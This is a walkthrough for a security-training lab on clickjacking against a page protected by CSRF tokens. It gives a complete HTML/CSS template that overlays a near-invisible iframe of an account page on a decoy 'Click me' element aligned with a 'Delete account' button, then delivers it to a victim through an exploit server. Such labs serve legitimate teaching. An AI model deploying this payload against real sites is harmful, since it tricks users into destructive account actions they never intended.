Lab: Basic clickjacking with CSRF token protection

Login to the account on the target website.

Use the following HTML template and provide the details as follows:

• Replace $url with the URL for the target website account page in the iframe,
• Substitute suitable values in pixels for the $height_value and $width_value variables of the iframe (we suggest 700px and 500px respectively),
• Substitute suitable values in pixels for the $top_value and $side_value variables of the decoy web content so that the "Delete account" button and the "Test me" decoy action align (we suggest 300px and 60px respectively),
• Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.

<style>
   iframe {
       position:relative;
       width:$width_value;
       height: $height_value;
       opacity: $opacity;
       z-index: 2;
   }
   div {
       position:absolute;
       top:$top_value;
       left:$side_value;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="$url"></iframe>


Go to the exploit server, paste your exploit HTML into the "Body text" box, and click "Store".

Click "View stored response".

Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. Do not actually click the "Delete account" button yourself. If you do, the lab will be broken and you will need to wait until it resets to try again (about 20 minutes). If the div does not line up properly, adjust the top and left properties of the style sheet.

Once you have the div element lined up correctly, change "Test me" to "Click me" and click "Store".

Now click on "Deliver exploit to victim" and the lab should be solved.